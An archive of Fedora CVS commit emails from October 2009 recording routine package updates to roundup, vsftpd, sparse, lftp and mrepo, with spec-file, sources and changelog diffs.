--- sources	3 Oct 2008 13:52:48 -0000	1.7
+++ sources	18 Oct 2009 18:39:22 -0000	1.8
@@ -1 +1 @@
-e364bb8026761829752ffec76e33065f  roundup-1.4.6.tar.gz
+d58f877d4031aecdf5ebd8920211f48a  roundup-1.4.10.tar.gz


--- bts518768-disable-editcsv.patch DELETED ---


--- roundup-setup.patch DELETED ---



From stingray at fedoraproject.org  Sun Oct 18 18:39:23 2009
From: stingray at fedoraproject.org (Paul P Komkoff Jr)
Date: Sun, 18 Oct 2009 18:39:23 +0000 (UTC)
Subject: rpms/roundup/F-11 .cvsignore, 1.7, 1.8 roundup.spec, 1.18,
	1.19 sources, 1.7, 1.8 bts518768-disable-editcsv.patch, 1.1,
	NONE roundup-setup.patch, 1.1, NONE
Message-ID: <20091018183923.9DE2D11C00E8@cvs1.fedora.phx.redhat.com>

Author: stingray

Update of /cvs/extras/rpms/roundup/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10369/F-11

Modified Files:
	.cvsignore roundup.spec sources 
Removed Files:
	bts518768-disable-editcsv.patch roundup-setup.patch 
Log Message:
roundup-1.4.10-1


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/roundup/F-11/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	3 Oct 2008 13:52:48 -0000	1.7
+++ .cvsignore	18 Oct 2009 18:39:23 -0000	1.8
@@ -1 +1 @@
-roundup-1.4.6.tar.gz
+roundup-1.4.10.tar.gz


Index: roundup.spec
===================================================================
RCS file: /cvs/extras/rpms/roundup/F-11/roundup.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- roundup.spec	31 Mar 2009 20:16:07 -0000	1.18
+++ roundup.spec	18 Oct 2009 18:39:23 -0000	1.19
@@ -2,16 +2,14 @@
 
 Summary: Simple and flexible issue-tracking system
 Name: roundup
-Version: 1.4.6
-Release: 5%{dist}
+Version: 1.4.10
+Release: 1%{dist}
 License: MIT
 Group: Applications/Engineering
 Source: http://pypi.python.org/packages/source/r/%{name}/%{name}-%{version}.tar.gz
 Source1: roundup.conf
 Source2: roundup
 Source3: README.Fedora
-Patch0: roundup-setup.patch
-Patch1: bts518768-disable-editcsv.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 BuildRequires: python-devel
@@ -29,8 +27,6 @@ Yee in the Software Carpentry "Track" de
 
 %prep
 %setup -q
-%patch0 -p1
-%patch1 -p1
 
 mv locale/ru.po locale/ru-koi8.po
 iconv -f koi8-r -t utf-8 locale/ru-koi8.po | sed -e 's|Content-Type: text/plain; charset=koi8-r|Content-Type: text/plain; charset=utf-8|' > locale/ru.po
@@ -83,6 +79,12 @@ rm -rf $RPM_BUILD_ROOT
 %doc README.Fedora COPYING.txt
 
 %changelog
+* Sun Oct 18 2009 Paul P. Komkoff Jr <i at stingr.net> - 1.4.10-1
+- new upstream version
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.6-6
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue Mar 31 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.4.6-5
 - fix unowned directory (#473661)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/roundup/F-11/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	3 Oct 2008 13:52:48 -0000	1.7
+++ sources	18 Oct 2009 18:39:23 -0000	1.8
@@ -1 +1 @@
-e364bb8026761829752ffec76e33065f  roundup-1.4.6.tar.gz
+d58f877d4031aecdf5ebd8920211f48a  roundup-1.4.10.tar.gz


--- bts518768-disable-editcsv.patch DELETED ---


--- roundup-setup.patch DELETED ---



From stingray at fedoraproject.org  Sun Oct 18 18:39:24 2009
From: stingray at fedoraproject.org (Paul P Komkoff Jr)
Date: Sun, 18 Oct 2009 18:39:24 +0000 (UTC)
Subject: rpms/roundup/F-12 .cvsignore, 1.7, 1.8 roundup.spec, 1.19,
	1.20 sources, 1.7, 1.8 bts518768-disable-editcsv.patch, 1.1,
	NONE roundup-setup.patch, 1.1, NONE
Message-ID: <20091018183924.27C8911C00E8@cvs1.fedora.phx.redhat.com>

Author: stingray

Update of /cvs/extras/rpms/roundup/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10369/F-12

Modified Files:
	.cvsignore roundup.spec sources 
Removed Files:
	bts518768-disable-editcsv.patch roundup-setup.patch 
Log Message:
roundup-1.4.10-1


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/roundup/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	3 Oct 2008 13:52:48 -0000	1.7
+++ .cvsignore	18 Oct 2009 18:39:23 -0000	1.8
@@ -1 +1 @@
-roundup-1.4.6.tar.gz
+roundup-1.4.10.tar.gz


Index: roundup.spec
===================================================================
RCS file: /cvs/extras/rpms/roundup/F-12/roundup.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- roundup.spec	27 Jul 2009 03:09:10 -0000	1.19
+++ roundup.spec	18 Oct 2009 18:39:23 -0000	1.20
@@ -2,16 +2,14 @@
 
 Summary: Simple and flexible issue-tracking system
 Name: roundup
-Version: 1.4.6
-Release: 6%{dist}
+Version: 1.4.10
+Release: 1%{dist}
 License: MIT
 Group: Applications/Engineering
 Source: http://pypi.python.org/packages/source/r/%{name}/%{name}-%{version}.tar.gz
 Source1: roundup.conf
 Source2: roundup
 Source3: README.Fedora
-Patch0: roundup-setup.patch
-Patch1: bts518768-disable-editcsv.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 BuildRequires: python-devel
@@ -29,8 +27,6 @@ Yee in the Software Carpentry "Track" de
 
 %prep
 %setup -q
-%patch0 -p1
-%patch1 -p1
 
 mv locale/ru.po locale/ru-koi8.po
 iconv -f koi8-r -t utf-8 locale/ru-koi8.po | sed -e 's|Content-Type: text/plain; charset=koi8-r|Content-Type: text/plain; charset=utf-8|' > locale/ru.po
@@ -83,6 +79,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc README.Fedora COPYING.txt
 
 %changelog
+* Sun Oct 18 2009 Paul P. Komkoff Jr <i at stingr.net> - 1.4.10-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.6-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/roundup/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	3 Oct 2008 13:52:48 -0000	1.7
+++ sources	18 Oct 2009 18:39:23 -0000	1.8
@@ -1 +1 @@
-e364bb8026761829752ffec76e33065f  roundup-1.4.6.tar.gz
+d58f877d4031aecdf5ebd8920211f48a  roundup-1.4.10.tar.gz


--- bts518768-disable-editcsv.patch DELETED ---


--- roundup-setup.patch DELETED ---



From jskala at fedoraproject.org  Sun Oct 18 18:52:58 2009
From: jskala at fedoraproject.org (Jiri Skala)
Date: Sun, 18 Oct 2009 18:52:58 +0000 (UTC)
Subject: rpms/vsftpd/F-10 vsftpd.init,1.5,1.6 vsftpd.spec,1.84,1.85
Message-ID: <20091018185258.8DA1511C00E8@cvs1.fedora.phx.redhat.com>

Author: jskala

Update of /cvs/extras/rpms/vsftpd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12445

Modified Files:
	vsftpd.init vsftpd.spec 
Log Message:
* Sun Oct 18 2009 Jiri Skala <jskala at redhat.com> - 2.0.7-3
- back ported fix #524208 - Error message when starting vsftpd service with multiple conf...



Index: vsftpd.init
===================================================================
RCS file: /cvs/extras/rpms/vsftpd/F-10/vsftpd.init,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- vsftpd.init	25 Feb 2008 16:25:30 -0000	1.5
+++ vsftpd.init	18 Oct 2009 18:52:57 -0000	1.6
@@ -37,7 +37,7 @@ start() {
 
         if [ -d /etc/vsftpd ] ; then
                 CONFS=`ls /etc/vsftpd/*.conf 2>/dev/null`
-                [ -z $CONFS ] && exit 6
+                [ -z "$CONFS" ] && exit 6
                 for i in $CONFS; do
                         site=`basename $i .conf`
                         echo -n $"Starting $prog for $site: "


Index: vsftpd.spec
===================================================================
RCS file: /cvs/extras/rpms/vsftpd/F-10/vsftpd.spec,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- vsftpd.spec	3 Jun 2009 07:47:20 -0000	1.84
+++ vsftpd.spec	18 Oct 2009 18:52:58 -0000	1.85
@@ -3,7 +3,7 @@
 Summary: Very Secure Ftp Daemon
 Name: vsftpd
 Version: 2.0.7
-Release: 2%{?dist}
+Release: 3%{?dist}
 # OpenSSL link exception
 License: GPLv2 with exceptions
 Group: System Environment/Daemons
@@ -161,6 +161,9 @@ fi
 %{_var}/ftp
 
 %changelog
+* Sun Oct 18 2009 Jiri Skala <jskala at redhat.com> - 2.0.7-3
+- back ported fix #524208 - Error message when starting vsftpd service with multiple conf...
+
 * Tue Jun 02 2009 Jiri Skala <jskala at redhat.com> - 2.0.7-2
 - fix #483604
 



From jlayton at fedoraproject.org  Sun Oct 18 18:55:00 2009
From: jlayton at fedoraproject.org (Jeff Layton)
Date: Sun, 18 Oct 2009 18:55:00 +0000 (UTC)
Subject: rpms/sparse/devel .cvsignore, 1.8, 1.9 sources, 1.8, 1.9 sparse.spec,
	1.13, 1.14
Message-ID: <20091018185500.AD06911C00E8@cvs1.fedora.phx.redhat.com>

Author: jlayton

Update of /cvs/pkgs/rpms/sparse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13090

Modified Files:
	.cvsignore sources sparse.spec 
Log Message:
Update to new 0.4.2 upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sparse/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	29 Sep 2009 13:06:03 -0000	1.8
+++ .cvsignore	18 Oct 2009 18:55:00 -0000	1.9
@@ -1 +1 @@
-sparse-0.4.2rc1.tar.bz2
+sparse-0.4.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sparse/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	29 Sep 2009 13:06:03 -0000	1.8
+++ sources	18 Oct 2009 18:55:00 -0000	1.9
@@ -1 +1 @@
-6085a35dc86c7274bfd305a291bb4a57  sparse-0.4.2rc1.tar.bz2
+8eb0f525c5eddded32bc05c906913039  sparse-0.4.2.tar.bz2


Index: sparse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sparse/devel/sparse.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sparse.spec	29 Sep 2009 13:06:03 -0000	1.13
+++ sparse.spec	18 Oct 2009 18:55:00 -0000	1.14
@@ -1,5 +1,5 @@
 Name: sparse
-Version: 0.4.2rc1
+Version: 0.4.2
 Release: 1%{?dist}
 Summary:    A semantic parser of source files
 Group:      Development/Tools
@@ -82,6 +82,9 @@ make clean
 
 
 %changelog
+* Sun Oct 18 2009 Jeff Layton <jlayton at redhat.com> - 0.4.2
+- Update to 0.4.2
+
 * Tue Sep 29 2009 Jeff Layton <jlayton at redhat.com> - 0.4.2rc1-1
 - Update to 0.4.2rc1
 



From jskala at fedoraproject.org  Sun Oct 18 18:55:10 2009
From: jskala at fedoraproject.org (Jiri Skala)
Date: Sun, 18 Oct 2009 18:55:10 +0000 (UTC)
Subject: rpms/vsftpd/F-11 vsftpd.init,1.5,1.6 vsftpd.spec,1.89,1.90
Message-ID: <20091018185510.8BEC011C00E8@cvs1.fedora.phx.redhat.com>

Author: jskala

Update of /cvs/extras/rpms/vsftpd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13147

Modified Files:
	vsftpd.init vsftpd.spec 
Log Message:
* Sun Oct 18 2009 Jiri Skala <jskala at redhat.com> - 2.1.2-2
- back ported fix #524208 - Error message when starting vsftpd service with multiple conf...



Index: vsftpd.init
===================================================================
RCS file: /cvs/extras/rpms/vsftpd/F-11/vsftpd.init,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- vsftpd.init	25 Feb 2008 16:25:30 -0000	1.5
+++ vsftpd.init	18 Oct 2009 18:55:10 -0000	1.6
@@ -37,7 +37,7 @@ start() {
 
         if [ -d /etc/vsftpd ] ; then
                 CONFS=`ls /etc/vsftpd/*.conf 2>/dev/null`
-                [ -z $CONFS ] && exit 6
+                [ -z "$CONFS" ] && exit 6
                 for i in $CONFS; do
                         site=`basename $i .conf`
                         echo -n $"Starting $prog for $site: "


Index: vsftpd.spec
===================================================================
RCS file: /cvs/extras/rpms/vsftpd/F-11/vsftpd.spec,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- vsftpd.spec	2 Jun 2009 09:21:10 -0000	1.89
+++ vsftpd.spec	18 Oct 2009 18:55:10 -0000	1.90
@@ -2,7 +2,7 @@
 
 Name: vsftpd
 Version: 2.1.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: Very Secure Ftp Daemon
 
 Group: System Environment/Daemons
@@ -132,6 +132,9 @@ fi
 
 
 %changelog
+* Sun Oct 18 2009 Jiri Skala <jskala at redhat.com> - 2.1.2-2
+- back ported fix #524208 - Error message when starting vsftpd service with multiple conf...
+
 * Tue Jun 02 2009 Jiri Skala <jskala at redhat.com> - 2.1.2-1
 - update to latest upstream version
 



From jlayton at fedoraproject.org  Sun Oct 18 18:59:25 2009
From: jlayton at fedoraproject.org (Jeff Layton)
Date: Sun, 18 Oct 2009 18:59:25 +0000 (UTC)
Subject: rpms/sparse/F-12 .cvsignore, 1.8, 1.9 sources, 1.8, 1.9 sparse.spec,
	1.13, 1.14
Message-ID: <20091018185925.AC9F911C00E8@cvs1.fedora.phx.redhat.com>

Author: jlayton

Update of /cvs/pkgs/rpms/sparse/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14670

Modified Files:
	.cvsignore sources sparse.spec 
Log Message:
Update to upstream 0.4.2 release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sparse/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	1 Oct 2009 18:21:43 -0000	1.8
+++ .cvsignore	18 Oct 2009 18:59:25 -0000	1.9
@@ -1 +1 @@
-sparse-0.4.2rc1.tar.bz2
+sparse-0.4.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sparse/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	1 Oct 2009 18:21:43 -0000	1.8
+++ sources	18 Oct 2009 18:59:25 -0000	1.9
@@ -1 +1 @@
-6085a35dc86c7274bfd305a291bb4a57  sparse-0.4.2rc1.tar.bz2
+8eb0f525c5eddded32bc05c906913039  sparse-0.4.2.tar.bz2


Index: sparse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sparse/F-12/sparse.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sparse.spec	1 Oct 2009 18:21:43 -0000	1.13
+++ sparse.spec	18 Oct 2009 18:59:25 -0000	1.14
@@ -1,5 +1,5 @@
 Name: sparse
-Version: 0.4.2rc1
+Version: 0.4.2
 Release: 1%{?dist}
 Summary:    A semantic parser of source files
 Group:      Development/Tools
@@ -82,6 +82,9 @@ make clean
 
 
 %changelog
+* Sun Oct 18 2009 Jeff Layton <jlayton at redhat.com> - 0.4.2
+- Update to 0.4.2
+
 * Tue Sep 29 2009 Jeff Layton <jlayton at redhat.com> - 0.4.2rc1-1
 - Update to 0.4.2rc1
 



From jskala at fedoraproject.org  Sun Oct 18 19:16:46 2009
From: jskala at fedoraproject.org (Jiri Skala)
Date: Sun, 18 Oct 2009 19:16:46 +0000 (UTC)
Subject: rpms/lftp/devel .cvsignore, 1.42, 1.43 lftp.spec, 1.85, 1.86 sources,
	1.42, 1.43
Message-ID: <20091018191646.5A7C211C00E8@cvs1.fedora.phx.redhat.com>

Author: jskala

Update of /cvs/extras/rpms/lftp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18626

Modified Files:
	.cvsignore lftp.spec sources 
Log Message:
* Sun Oct 18 2009 Jiri Skala <jskala at redhat.com> - 4.0.2-1
- updated to latest stable version



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/lftp/devel/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	14 Sep 2009 21:21:25 -0000	1.42
+++ .cvsignore	18 Oct 2009 19:16:46 -0000	1.43
@@ -1 +1 @@
-lftp-4.0.0.tar.lzma
+lftp-4.0.2.tar.lzma


Index: lftp.spec
===================================================================
RCS file: /cvs/extras/rpms/lftp/devel/lftp.spec,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -p -r1.85 -r1.86
--- lftp.spec	14 Sep 2009 21:21:25 -0000	1.85
+++ lftp.spec	18 Oct 2009 19:16:46 -0000	1.86
@@ -1,6 +1,6 @@
 Summary:	A sophisticated file transfer program
 Name:		lftp
-Version:	4.0.0
+Version:	4.0.2
 Release:	1%{?dist}
 License:	GPLv3+
 Group:		Applications/Internet
@@ -88,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 18 2009 Jiri Skala <jskala at redhat.com> - 4.0.2-1
+- updated to latest stable version
+
 * Mon Sep 14 2009 Jiri Skala <jskala at redhat.com> - 4.0.0-1
 - updated to latest stable version
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/lftp/devel/sources,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- sources	14 Sep 2009 21:21:25 -0000	1.42
+++ sources	18 Oct 2009 19:16:46 -0000	1.43
@@ -1 +1 @@
-3a0baead3174e6d10c3262b03bc642c3  lftp-4.0.0.tar.lzma
+94eccf15f51bd3e3ca204c7166479c69  lftp-4.0.2.tar.lzma



From jussilehtola at fedoraproject.org  Sun Oct 18 19:31:00 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sun, 18 Oct 2009 19:31:00 +0000 (UTC)
Subject: rpms/mrepo/EL-4 mrepo.spec,1.3,1.4
Message-ID: <20091018193100.49CB411C029A@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/mrepo/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22857/EL-4

Modified Files:
	mrepo.spec 
Log Message:
Generalize Requires: httpd -> Requires: webserver. (BZ #529421)


Index: mrepo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mrepo/EL-4/mrepo.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- mrepo.spec	12 Jul 2009 21:46:12 -0000	1.3
+++ mrepo.spec	18 Oct 2009 19:31:00 -0000	1.4
@@ -1,6 +1,6 @@
 Name:		mrepo
 Version:	0.8.6
-Release:	3%{?dist}
+Release:	5%{?dist}
 Summary:	A tool to set up a yum/apt mirror from various sources
 License:	GPLv2
 Group:		System Environment/Base
@@ -16,9 +16,9 @@ BuildRequires:	python-devel
 # Needed for operation
 Requires:	createrepo
 ## For dir ownership
-# vixie-cron in older distros, cronie in newer ones; filelist always available
+# vixie-cron in older distros, cronie in newer ones; filelist of sbindir is always available
 Requires:	%{_sbindir}/crond
-Requires:	httpd
+Requires:	webserver
 Requires:	logrotate
 
 # For services
@@ -124,16 +124,22 @@ rm -rf %{buildroot}
 %{_localstatedir}/mrepo/
 
 %changelog
+* Sun Oct 18 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-5
+- Generalize webserver requirement.
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.8.6-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sun Jul 12 2009 Sandro Mathys <red at fedoraproject.org> - 0.8.6-3
 - Changed the usage of macros to get the spec file to work in EL, too.
 
-* Sun Jul 12 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.6-2
+* Sun Jul 12 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-2
 - Review fixes.
 
-* Sun Jul 12 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.6-1
+* Sun Jul 12 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-1
 - Update to 0.8.6.
 
-* Wed May 20 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.4-2
+* Wed May 20 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.4-2
 - Spec modifications for inclusion into Fedora.
 
 * Wed Dec 13 2006 Dag Wieers <dag at wieers.com> - 0.8.4-1



From jussilehtola at fedoraproject.org  Sun Oct 18 19:31:01 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sun, 18 Oct 2009 19:31:01 +0000 (UTC)
Subject: rpms/mrepo/devel mrepo.spec,1.4,1.5
Message-ID: <20091018193101.4932711C029A@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/mrepo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22857/devel

Modified Files:
	mrepo.spec 
Log Message:
Generalize Requires: httpd -> Requires: webserver. (BZ #529421)


Index: mrepo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mrepo/devel/mrepo.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- mrepo.spec	25 Jul 2009 15:14:43 -0000	1.4
+++ mrepo.spec	18 Oct 2009 19:31:01 -0000	1.5
@@ -1,6 +1,6 @@
 Name:		mrepo
 Version:	0.8.6
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	A tool to set up a yum/apt mirror from various sources
 License:	GPLv2
 Group:		System Environment/Base
@@ -16,9 +16,9 @@ BuildRequires:	python-devel
 # Needed for operation
 Requires:	createrepo
 ## For dir ownership
-# vixie-cron in older distros, cronie in newer ones; filelist always available
+# vixie-cron in older distros, cronie in newer ones; filelist of sbindir is always available
 Requires:	%{_sbindir}/crond
-Requires:	httpd
+Requires:	webserver
 Requires:	logrotate
 
 # For services
@@ -124,19 +124,22 @@ rm -rf %{buildroot}
 %{_localstatedir}/mrepo/
 
 %changelog
+* Sun Oct 18 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-5
+- Generalize webserver requirement.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.8.6-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
 * Sun Jul 12 2009 Sandro Mathys <red at fedoraproject.org> - 0.8.6-3
 - Changed the usage of macros to get the spec file to work in EL, too.
 
-* Sun Jul 12 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.6-2
+* Sun Jul 12 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-2
 - Review fixes.
 
-* Sun Jul 12 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.6-1
+* Sun Jul 12 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-1
 - Update to 0.8.6.
 
-* Wed May 20 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.4-2
+* Wed May 20 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.4-2
 - Spec modifications for inclusion into Fedora.
 
 * Wed Dec 13 2006 Dag Wieers <dag at wieers.com> - 0.8.4-1



From jussilehtola at fedoraproject.org  Sun Oct 18 19:31:00 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sun, 18 Oct 2009 19:31:00 +0000 (UTC)
Subject: rpms/mrepo/EL-5 mrepo.spec,1.3,1.4
Message-ID: <20091018193100.6F1FC11C02A3@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/mrepo/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22857/EL-5

Modified Files:
	mrepo.spec 
Log Message:
Generalize Requires: httpd -> Requires: webserver. (BZ #529421)


Index: mrepo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mrepo/EL-5/mrepo.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- mrepo.spec	12 Jul 2009 21:46:12 -0000	1.3
+++ mrepo.spec	18 Oct 2009 19:31:00 -0000	1.4
@@ -1,6 +1,6 @@
 Name:		mrepo
 Version:	0.8.6
-Release:	3%{?dist}
+Release:	5%{?dist}
 Summary:	A tool to set up a yum/apt mirror from various sources
 License:	GPLv2
 Group:		System Environment/Base
@@ -16,9 +16,9 @@ BuildRequires:	python-devel
 # Needed for operation
 Requires:	createrepo
 ## For dir ownership
-# vixie-cron in older distros, cronie in newer ones; filelist always available
+# vixie-cron in older distros, cronie in newer ones; filelist of sbindir is always available
 Requires:	%{_sbindir}/crond
-Requires:	httpd
+Requires:	webserver
 Requires:	logrotate
 
 # For services
@@ -124,16 +124,22 @@ rm -rf %{buildroot}
 %{_localstatedir}/mrepo/
 
 %changelog
+* Sun Oct 18 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-5
+- Generalize webserver requirement.
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.8.6-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sun Jul 12 2009 Sandro Mathys <red at fedoraproject.org> - 0.8.6-3
 - Changed the usage of macros to get the spec file to work in EL, too.
 
-* Sun Jul 12 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.6-2
+* Sun Jul 12 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-2
 - Review fixes.
 
-* Sun Jul 12 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.6-1
+* Sun Jul 12 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-1
 - Update to 0.8.6.
 
-* Wed May 20 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.4-2
+* Wed May 20 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.4-2
 - Spec modifications for inclusion into Fedora.
 
 * Wed Dec 13 2006 Dag Wieers <dag at wieers.com> - 0.8.4-1



From jussilehtola at fedoraproject.org  Sun Oct 18 19:31:00 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sun, 18 Oct 2009 19:31:00 +0000 (UTC)
Subject: rpms/mrepo/F-11 mrepo.spec,1.3,1.4
Message-ID: <20091018193100.C357911C02A3@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/mrepo/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22857/F-11

Modified Files:
	mrepo.spec 
Log Message:
Generalize Requires: httpd -> Requires: webserver. (BZ #529421)


Index: mrepo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mrepo/F-11/mrepo.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- mrepo.spec	12 Jul 2009 21:46:12 -0000	1.3
+++ mrepo.spec	18 Oct 2009 19:31:00 -0000	1.4
@@ -1,6 +1,6 @@
 Name:		mrepo
 Version:	0.8.6
-Release:	3%{?dist}
+Release:	5%{?dist}
 Summary:	A tool to set up a yum/apt mirror from various sources
 License:	GPLv2
 Group:		System Environment/Base
@@ -16,9 +16,9 @@ BuildRequires:	python-devel
 # Needed for operation
 Requires:	createrepo
 ## For dir ownership
-# vixie-cron in older distros, cronie in newer ones; filelist always available
+# vixie-cron in older distros, cronie in newer ones; filelist of sbindir is always available
 Requires:	%{_sbindir}/crond
-Requires:	httpd
+Requires:	webserver
 Requires:	logrotate
 
 # For services
@@ -124,16 +124,22 @@ rm -rf %{buildroot}
 %{_localstatedir}/mrepo/
 
 %changelog
+* Sun Oct 18 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-5
+- Generalize webserver requirement.
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.8.6-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sun Jul 12 2009 Sandro Mathys <red at fedoraproject.org> - 0.8.6-3
 - Changed the usage of macros to get the spec file to work in EL, too.
 
-* Sun Jul 12 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.6-2
+* Sun Jul 12 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-2
 - Review fixes.
 
-* Sun Jul 12 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.6-1
+* Sun Jul 12 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-1
 - Update to 0.8.6.
 
-* Wed May 20 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.4-2
+* Wed May 20 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.4-2
 - Spec modifications for inclusion into Fedora.
 
